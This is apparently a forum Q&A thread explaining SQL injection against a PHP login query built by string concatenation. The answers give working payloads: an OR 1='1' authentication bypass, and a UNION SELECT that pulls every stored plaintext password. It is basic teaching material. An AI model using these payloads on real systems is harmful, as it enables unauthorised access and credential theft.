SQL injection theory

Question

I'm using ORM layer in databases all the time, so I don't mind about SQL injections, but a friend gave me this task and I still have no idea how to solve it.

I know the PHP script just checks if the return of the query is != null (username matching to entered username & password is found).

The query itself in PHP looks like:

$sql = "SELECT name FROM users WHERE name='".$name. "' AND password='".$password. "'"; 

What's the best way to archieve a return of this query != null OR retrieving valid login data (username & password). The password is stored plain in database. I know storing plain is bad and I know using PDO is good, but I have no idea how to solve this funny task he gave me, maybe because I use PDO all the time.

Answer 1

Say we have these two input variables:

$name = "iam";
$password = "aninjection";

Which results in this query:

$sql = "SELECT name FROM users WHERE name='iam' AND password='aninjection'"; 

And let's say now we add this to the $password variable:

$password = "aninjection' OR 1='1";

Which results in:

$sql = "SELECT name FROM users WHERE name='iam' AND password='aninjection' OR 1='1'"; 

This query will now result in true and show every name from the user table. This is of course a basic example. We could also do more harm by dropping entire tables.

Answer 2

If you wanted to retrieve passwords you would inject

$name = "whatever";
$password = "' OR '1'='1' UNION ALL SELECT password from users;--";

This would then make the query

SELECT name FROM users WHERE name='whatever' AND password='' OR '1'='1' UNION ALL SELECT password from users;--'

See this answer for how an attacker would start to work this out from injecting into the query.